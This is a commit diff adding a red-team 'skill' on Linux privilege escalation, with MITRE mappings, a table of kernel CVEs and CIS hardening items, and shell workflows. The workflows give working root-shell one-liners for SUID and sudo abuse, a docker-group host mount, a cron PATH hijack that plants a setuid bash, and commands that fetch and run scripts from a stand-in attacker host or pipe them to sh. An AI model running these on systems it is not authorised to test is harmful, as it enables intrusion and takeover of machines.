mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-20 14:30:59 +03:00
Initial commit - 611 cybersecurity skills across all subdomains
This commit is contained in:
@@ -0,0 +1,77 @@
|
||||
---
|
||||
name: performing-privilege-escalation-on-linux
|
||||
description: Linux privilege escalation involves elevating from a low-privilege user account to root access on a compromised system. Red teams exploit misconfigurations, vulnerable services, kernel exploits, and w
|
||||
domain: cybersecurity
|
||||
subdomain: red-teaming
|
||||
tags: [red-team, adversary-simulation, mitre-attack, exploitation, post-exploitation, privilege-escalation, linux]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: MIT
|
||||
---
|
||||
# Performing Privilege Escalation on Linux
|
||||
|
||||
## Overview
|
||||
|
||||
Linux privilege escalation involves elevating from a low-privilege user account to root access on a compromised system. Red teams exploit misconfigurations, vulnerable services, kernel exploits, and weak permissions to achieve root. This skill covers both manual enumeration techniques and automated tools for identifying and exploiting privilege escalation vectors.
|
||||
|
||||
## MITRE ATT&CK Mapping
|
||||
|
||||
- **T1548.001** - Abuse Elevation Control Mechanism: Setuid and Setgid
|
||||
- **T1548.003** - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
|
||||
- **T1068** - Exploitation for Privilege Escalation
|
||||
- **T1574.006** - Hijack Execution Flow: Dynamic Linker Hijacking
|
||||
- **T1053.003** - Scheduled Task/Job: Cron
|
||||
- **T1543.002** - Create or Modify System Process: Systemd Service
|
||||
|
||||
## Key Escalation Vectors
|
||||
|
||||
### SUID/SGID Binaries
|
||||
- Find SUID binaries: `find / -perm -4000 -type f 2>/dev/null`
|
||||
- Check GTFOBins for exploitation methods
|
||||
- Custom SUID binaries may have vulnerabilities
|
||||
|
||||
### Sudo Misconfigurations
|
||||
- `sudo -l` to list allowed commands
|
||||
- Wildcards in sudo rules allow injection
|
||||
- NOPASSWD entries for dangerous commands
|
||||
- sudo versions vulnerable to CVE-2021-3156 (Baron Samedit)
|
||||
|
||||
### Kernel Exploits
|
||||
- Dirty Cow (CVE-2016-5195) for older kernels
|
||||
- Dirty Pipe (CVE-2022-0847) for kernel 5.8+
|
||||
- PwnKit (CVE-2021-4034) for pkexec
|
||||
- GameOver(lay) (CVE-2023-2640, CVE-2023-32629) for Ubuntu
|
||||
|
||||
### Cron Job Abuse
|
||||
- World-writable cron scripts
|
||||
- PATH hijacking in cron jobs
|
||||
- Wildcard injection in cron commands
|
||||
|
||||
### Capabilities
|
||||
- `getcap -r / 2>/dev/null` to find binaries with capabilities
|
||||
- cap_setuid allows UID manipulation
|
||||
- cap_dac_override bypasses file permissions
|
||||
|
||||
### Writable Service Files
|
||||
- Systemd unit files with weak permissions
|
||||
- Init scripts writable by non-root users
|
||||
- Socket files in accessible locations
|
||||
|
||||
## Tools and Resources
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| LinPEAS | Automated privilege escalation enumeration |
|
||||
| LinEnum | Linux enumeration script |
|
||||
| linux-exploit-suggester | Kernel exploit matching |
|
||||
| pspy | Process monitoring without root |
|
||||
| GTFOBins | SUID/sudo binary exploitation reference |
|
||||
| PEASS-ng | Privilege escalation awesome scripts suite |
|
||||
|
||||
## Validation Criteria
|
||||
|
||||
- [ ] Enumeration performed using automated tools
|
||||
- [ ] Privilege escalation vector identified
|
||||
- [ ] Root access achieved through identified vector
|
||||
- [ ] Evidence documented (screenshots, command output)
|
||||
- [ ] Alternative escalation paths identified
|
||||
@@ -0,0 +1,27 @@
|
||||
# Standards and Framework References
|
||||
|
||||
## MITRE ATT&CK - Privilege Escalation (TA0004)
|
||||
| Technique ID | Name | Description |
|
||||
|-------------|------|-------------|
|
||||
| T1548.001 | Setuid and Setgid | Exploit SUID/SGID binaries |
|
||||
| T1548.003 | Sudo and Sudo Caching | Abuse sudo misconfigurations |
|
||||
| T1068 | Exploitation for Privilege Escalation | Kernel/service exploits |
|
||||
| T1574.006 | Dynamic Linker Hijacking | LD_PRELOAD/LD_LIBRARY_PATH abuse |
|
||||
| T1053.003 | Cron | Abuse scheduled tasks |
|
||||
| T1543.002 | Systemd Service | Writable service manipulation |
|
||||
|
||||
## Common Kernel CVEs
|
||||
| CVE | Name | Kernel Range | CVSS |
|
||||
|-----|------|-------------|------|
|
||||
| CVE-2016-5195 | Dirty Cow | < 4.8.3 | 7.8 |
|
||||
| CVE-2021-4034 | PwnKit (pkexec) | Polkit < 0.120 | 7.8 |
|
||||
| CVE-2022-0847 | Dirty Pipe | 5.8 - 5.16.10 | 7.8 |
|
||||
| CVE-2021-3156 | Baron Samedit (sudo) | sudo < 1.9.5p2 | 7.8 |
|
||||
| CVE-2023-2640 | GameOver(lay) | Ubuntu kernels | 7.8 |
|
||||
| CVE-2023-0386 | OverlayFS | 5.11 - 6.2 | 7.8 |
|
||||
|
||||
## CIS Benchmark - Linux
|
||||
- Ensure permissions on /etc/crontab are configured (600 root:root)
|
||||
- Ensure SUID/SGID files are reviewed regularly
|
||||
- Ensure sudo is configured to use a pseudo-TTY
|
||||
- Ensure no world-writable files exist in system paths
|
||||
@@ -0,0 +1,161 @@
|
||||
# Linux Privilege Escalation Workflows
|
||||
|
||||
## Workflow 1: Manual Enumeration
|
||||
|
||||
### System Information
|
||||
```bash
|
||||
# OS and kernel version
|
||||
uname -a
|
||||
cat /etc/os-release
|
||||
cat /proc/version
|
||||
|
||||
# Check for writable paths
|
||||
find / -writable -type d 2>/dev/null
|
||||
find / -writable -type f 2>/dev/null
|
||||
|
||||
# Network info
|
||||
ip a
|
||||
ss -tlnp
|
||||
netstat -tulpn
|
||||
```
|
||||
|
||||
### SUID/SGID Binaries
|
||||
```bash
|
||||
# Find SUID binaries
|
||||
find / -perm -4000 -type f 2>/dev/null
|
||||
find / -perm -2000 -type f 2>/dev/null
|
||||
|
||||
# Cross-reference with GTFOBins
|
||||
# https://gtfobins.github.io/
|
||||
```
|
||||
|
||||
### Sudo Configuration
|
||||
```bash
|
||||
sudo -l
|
||||
# Check for:
|
||||
# - (ALL) NOPASSWD: /usr/bin/vim
|
||||
# - (ALL) NOPASSWD: /usr/bin/find
|
||||
# - (ALL) NOPASSWD: /usr/bin/python3
|
||||
# - Wildcard entries: /usr/bin/rsync *
|
||||
```
|
||||
|
||||
### Cron Jobs
|
||||
```bash
|
||||
cat /etc/crontab
|
||||
ls -la /etc/cron.*
|
||||
crontab -l
|
||||
# Monitor processes for hidden cron
|
||||
# Use pspy to see processes running as root
|
||||
```
|
||||
|
||||
### Capabilities
|
||||
```bash
|
||||
getcap -r / 2>/dev/null
|
||||
# Interesting capabilities:
|
||||
# cap_setuid - python3, perl, ruby
|
||||
# cap_dac_override - any binary
|
||||
# cap_net_raw - tcpdump
|
||||
```
|
||||
|
||||
## Workflow 2: Automated Enumeration
|
||||
|
||||
### LinPEAS
|
||||
```bash
|
||||
# Download and run
|
||||
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
|
||||
|
||||
# Or transfer and run
|
||||
wget http://attacker/linpeas.sh
|
||||
chmod +x linpeas.sh
|
||||
./linpeas.sh -a 2>&1 | tee linpeas_output.txt
|
||||
```
|
||||
|
||||
### Linux Exploit Suggester
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
|
||||
chmod +x linux-exploit-suggester.sh
|
||||
./linux-exploit-suggester.sh
|
||||
```
|
||||
|
||||
## Workflow 3: Common Exploitation
|
||||
|
||||
### SUID Binary Exploitation (GTFOBins)
|
||||
```bash
|
||||
# /usr/bin/find with SUID
|
||||
find . -exec /bin/sh -p \; -quit
|
||||
|
||||
# /usr/bin/python3 with SUID
|
||||
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
|
||||
|
||||
# /usr/bin/vim with SUID
|
||||
vim -c ':!sh'
|
||||
|
||||
# /usr/bin/nmap with SUID (old versions)
|
||||
nmap --interactive
|
||||
!sh
|
||||
```
|
||||
|
||||
### Sudo Abuse Examples
|
||||
```bash
|
||||
# sudo vim
|
||||
sudo vim -c ':!sh'
|
||||
|
||||
# sudo find
|
||||
sudo find / -exec /bin/sh \; -quit
|
||||
|
||||
# sudo python3
|
||||
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
|
||||
|
||||
# sudo env with LD_PRELOAD
|
||||
# If env_keep+=LD_PRELOAD is set:
|
||||
# Compile shared object that spawns shell
|
||||
# sudo LD_PRELOAD=/tmp/exploit.so /usr/bin/any_allowed_command
|
||||
```
|
||||
|
||||
### PwnKit (CVE-2021-4034)
|
||||
```bash
|
||||
# Check if vulnerable
|
||||
pkexec --version
|
||||
# Vulnerable: polkit < 0.120
|
||||
|
||||
# Multiple public exploits available
|
||||
# Usage: compile and run - instant root
|
||||
```
|
||||
|
||||
### Dirty Pipe (CVE-2022-0847)
|
||||
```bash
|
||||
# Check kernel version
|
||||
uname -r
|
||||
# Vulnerable: 5.8 <= kernel < 5.16.11, 5.15.25, 5.10.102
|
||||
|
||||
# Exploit overwrites read-only files via pipe splice
|
||||
```
|
||||
|
||||
## Workflow 4: Advanced Techniques
|
||||
|
||||
### Docker Escape (if user is in docker group)
|
||||
```bash
|
||||
# Check group membership
|
||||
id
|
||||
# If in docker group:
|
||||
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
||||
```
|
||||
|
||||
### NFS Root Squashing Bypass
|
||||
```bash
|
||||
# Check NFS exports
|
||||
showmount -e target
|
||||
cat /etc/exports
|
||||
# If no_root_squash is set:
|
||||
# Mount share, create SUID binary, execute on target
|
||||
```
|
||||
|
||||
### PATH Hijacking in Cron
|
||||
```bash
|
||||
# If cron job uses relative paths:
|
||||
# Create malicious binary in writable PATH directory
|
||||
echo '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/command_name
|
||||
chmod +x /tmp/command_name
|
||||
# Wait for cron to execute, then:
|
||||
/tmp/rootbash -p
|
||||
```
|
||||
Reference in New Issue
Block a user